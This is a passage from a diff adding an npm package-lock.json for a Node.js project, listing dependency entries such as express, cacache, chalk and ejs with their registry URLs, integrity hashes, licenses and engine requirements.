"https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", + "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "glob": "^7.1.4", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "license": "ISC", + "optional": true, + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT" + }, + "node_modules/console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "license": "ISC", + "optional": true + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "license": "MIT", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", + "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "license": "MIT" + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "license": "MIT", + "optional": true + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-libc": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.3.tgz", + "integrity": "sha512-bwy0MGW55bG41VqxxypOsdSdGqLwXPI/focwgTYCFMbdUiBAxLg9CFzG08sz2aqzknwiX7Hkl0bQENjg8iLByw==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT", + "optional": true + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/encoding": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", + "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/encoding/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "license": "MIT", + "optional": true + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "license": "(MIT OR WTFPL)", + "engines": { + "node": ">=6" + } + }, + "node_modules/express": { + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.0.tgz", + "integrity": "sha512-VqcNGcj/Id5ZT1LZ/cfihi3ttTn+NJmkli2eZADigjq29qTlWi/hAQ43t/VLPq8+UX06FCEx3ByOYet6ZFblng==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.6.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "license": "MIT" + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "license": "MIT" + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "license": "ISC", + "optional": true + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gauge": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", + "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "license": "MIT" + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC", + "optional": true + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "license": "ISC", + "optional": true + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==", + "license": "BSD-2-Clause", + "optional": true + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "license": "MIT", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-proxy-agent/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/http-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT", + "optional": true + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": 